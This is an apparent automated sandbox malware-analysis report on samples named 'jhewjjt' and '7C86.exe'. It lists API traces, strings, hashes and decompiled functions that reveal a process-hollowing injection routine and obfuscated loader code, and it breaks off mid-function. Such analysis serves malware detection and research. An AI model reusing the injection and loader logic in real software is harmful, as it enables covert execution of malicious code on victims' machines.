Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: jhewjjt PID: 3044 Parent PID: 664 jhewjjtCOMMON

Execution Graph

Execution Coverage:	22.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	7

Executed Functions

Function 00570110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00570156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0057016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00570255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00570270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00570283
GetThreadContext.KERNELBASE(00000000,?), ref: 0057029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005702C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005702E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00570304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0057032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00570399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005703BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005703E1
ResumeThread.KERNELBASE(00000000), ref: 005703ED
ExitProcess.KERNEL32(00000000), ref: 00570412

Memory Dump Source

Source File: 0000000E.00000002.370396587.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_jhewjjt.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 75194dc1ddf31dfd42f7d086fa99d3ba0f79df4612f653aec3d5d99c565ffe0e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: FFB1B674A00208EFDB44CF98C895F9EBBB5BF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00570630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005706E2

Strings

GetStartupInfoA, xrefs: 0057145B, 00571461
VirtualProtectEx, xrefs: 005714E9, 005714EF
GetFileAttributesA, xrefs: 005713D7, 005713DA
kernel32, xrefs: 005707ED, 005707F3
ReadProcessMemory, xrefs: 00570C4A, 00570C50
RegisterClassExA, xrefs: 005711B7, 005711BD
VirtualFree, xrefs: 00570BB2, 00570BB8
NtWriteVirtualMemory, xrefs: 0057112C, 00571132
GetCommandLineA, xrefs: 00570F82, 00570F88
SetThreadContext, xrefs: 00570D7A, 00570D80
WriteFile, xrefs: 005708CD, 005708D0
GetThreadContext, xrefs: 00570A4C, 00570A52
CreateWindowExA, xrefs: 0057123E, 00571244
PostMessageA, xrefs: 005712B0, 005712B6
NtUnmapViewOfSection, xrefs: 00571085, 0057108B
WinExec, xrefs: 00570820, 00570823
MessageBoxA, xrefs: 005706EE, 005706F4
CreateProcessA, xrefs: 005709BB, 005709C1
CreateFileA, xrefs: 0057088B, 00570891
GetModuleFileNameA, xrefs: 00570EFB, 00570EFE
WriteProcessMemory, xrefs: 00570CE9, 00570CEF
GetMessageA, xrefs: 005712F7, 005712FA
VirtualAlloc, xrefs: 00570AC1, 00570AC7
ResumeThread, xrefs: 00570DEF, 00570DF5
ntdll.dll, xrefs: 00570FE2, 00570FE8
CloseHandle, xrefs: 00570938, 0057093E
VirtualAllocEx, xrefs: 00570B44, 00570B4A
GetMessageExtraInfo, xrefs: 00570794, 0057079A
DefWindowProcA, xrefs: 00571374, 0057137A
WaitForSingleObject, xrefs: 00570E95, 00570E9B
user32, xrefs: 005706DB, 005706E1
ExitProcess, xrefs: 00571554, 0057155A

Memory Dump Source

Source File: 0000000E.00000002.370396587.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_jhewjjt.jbxd

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: cc654b83f7d4d20a563c011fd225cf11ee9c771605afc2aa96c638a896fd4116
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: AAA25460D0C6E9CDEB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00570420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00570533

Strings

saodkfnosa9uin, xrefs: 005704DA
d, xrefs: 00570584
0, xrefs: 00570492
mfoaskdfnoa, xrefs: 00570520, 00570523

Memory Dump Source

Source File: 0000000E.00000002.370396587.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_jhewjjt.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: afcc24ee26740f915b68ef4632c6671afe8dec894add327fb0abb1c8be4792a8
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: B2510970D08388DAEB11CB98D849BDDBFF26F11708F144058D5486F2C6C3BA5658CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 005705B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005705EC

Strings

o, xrefs: 00570600
apfHQ, xrefs: 005705E2, 005705E5

Memory Dump Source

Source File: 0000000E.00000002.370396587.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_570000_jhewjjt.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5d20a7744bc3e6423822e5bde09c9cc381b2fc476a90569757841db8b835092e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 23011E70C0424CEADF10DB98D5587AEBFF5AF41308F148099C4092B282D7769B59DBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: jhewjjt PID: 6988 Parent PID: 3044 jhewjjtCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 0000000F.00000002.386395839.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_jhewjjt.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000F.00000002.386395839.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_jhewjjt.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 0000000F.00000002.386395839.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_jhewjjt.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 0000000F.00000001.368364785.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_1_400000_jhewjjt.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 0000000F.00000001.368364785.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_1_400000_jhewjjt.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 0000000F.00000001.368364785.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_1_400000_jhewjjt.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 0000000F.00000001.368364785.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_1_400000_jhewjjt.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 7C86.exe PID: 1316 Parent PID: 3352 7C86.exeCOMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	326
Total number of Limit Nodes:	3

Executed Functions

Function 004027CA, Relevance: .4, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction ID: 0338b83136466491310ec3fcb80edeb4c240d654d82b0732370eb0c756bdbeb0
Opcode Fuzzy Hash: 59ac989ca3708892bfd26f4acbf633906e2528be2d17ed7f41992104238ec0bb
Instruction Fuzzy Hash: D4C1B93210E141DFEB00AE24EEC98DAFB65FF1633477001ABD8426B1D2C67B5542DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00402A07, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E00402A07(void* __edi, signed int __esi, void* __fp0) {
				signed int _t51;
				void* _t53;
				signed int _t56;
				void* _t59;
				void* _t62;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t81;
				void* _t85;
				void* _t86;
				void* _t91;
				void* _t92;
				signed int _t109;
				signed int* _t132;
				void* _t137;
				void* _t140;
				void* _t143;
				intOrPtr _t145;
				signed int* _t146;
				signed int _t147;
				void* _t149;
				signed int _t150;
				void* _t152;
				signed int _t153;
				signed int _t154;
				void* _t159;
				signed int _t160;
				signed int _t161;
				signed int _t166;
				void* _t174;
				void* _t181;
				signed long long _t183;

				_t181 = __fp0;
				_t153 = __esi;
				_t149 = __edi;
				asm("out 0x59, eax");
				asm("rcr byte [esi], cl");
				asm("fsubr dword [esi-0x2da4a48c]");
				asm("cmpsd");
				asm("movsb");
				asm("cs cmpsd");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x59c6df54]");
				_t145 = ds;
				 *(__esi - 0x2f) =  *(__esi - 0x2f) | __esi;
				_pop(_t81);
				_t51 = _t154;
				_t4 = _t51 + 0x4ab073ae;
				_t146 =  *_t4;
				 *_t4 = _t145;
				asm("enter 0x9e6f, 0x38");
				asm("cmc");
				 *__esi =  *__esi ^ __esi;
				asm("rcl byte [edi+0x7f], 1");
				asm("fcomp dword [edi+0x795eb05f]");
				asm("lds esi, [eax+0x45b3f1a9]");
				_t166 = _t51 & 0xb345b3f1;
				asm("movsb");
				asm("movsb");
				_t140 = 0x9d;
				_t53 = E00401277(0x2a84, _t81, __edi, __esi, 0x5e, _t166);
				_pop(_t85);
				 *(_t85 + 0x3e) =  *(_t85 + 0x3e) ^ 0x00000012;
				_pop(_t86);
				 *((intOrPtr*)(_t86 + 0x35)) =  *((intOrPtr*)(_t86 + 0x35)) - _t86;
				asm("aaa");
				_t91 = 0x5b5b695b;
				 *((intOrPtr*)(_t91 + 0x3e)) =  *((intOrPtr*)(_t91 + 0x3e)) - 0x12;
				_pop(_t92);
				 *((intOrPtr*)(_t92 + 0x68)) =  *((intOrPtr*)(_t92 + 0x68)) - _t92;
				asm("aaa");
				asm("aaa");
				_t109 = 0x5b5b695b;
				asm("das");
				_t160 = _t159 - 1;
				_t56 = _t53 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t156 = 0xdea4a4a7;
				asm("wait");
				_push(_t160);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t153);
				_t150 = _t149 -  *0xFFFFFFFFDEA4A4EF;
				_t168 = _t109 ^ _t150;
				if((_t109 ^ _t150) < 0) {
					_pop(_t132);
					_t153 = _t153 +  *((intOrPtr*)(_t56 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t156 = 0xdea4a4a7 - _t150;
					asm("int3");
					 *_t132 =  *_t132 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t137 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t71 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t71 - 0x15)) =  *((intOrPtr*)(_t71 - 0x15)) + _t137;
					_t72 = _t71 + 0xf4eb4097;
					asm("movsd");
					_t140 = 0x9a;
					_t56 = E00401277(_t72, _t137, _t150, _t153, _t156, _t168);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t160 = 0x10eba4a4 |  *(_t153 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t161 = _t160 |  *(_t153 + _t156 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t161);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t183 = (_t181 - _t146[0x1a]) *  *_t146;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t147);
					asm("salc");
					_t183 = _t183 +  *_t153;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t56;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t56 = 0x49;
					_t148 = _t147 ^  *0xd05b5b70;
				} while ((_t147 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t152);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t153);
				_t174 = _t140 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t59 =  *_t161;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t59, 0x688e1679, _t152, _t153, 0x13eba4a4, _t174);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t62 = E004025E8(_t152, _t153, _t174); // executed
				_t175 = _t62;
				if(_t62 != 0) {
					if(E00401F34(_t152, _t175,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L26:
						_t180 = gs;
						if(gs != 0) {
							_t65 = 0x688e6ab7;
							_t143 = 0x2ef8;
						} else {
							_t65 = 0x688e471e;
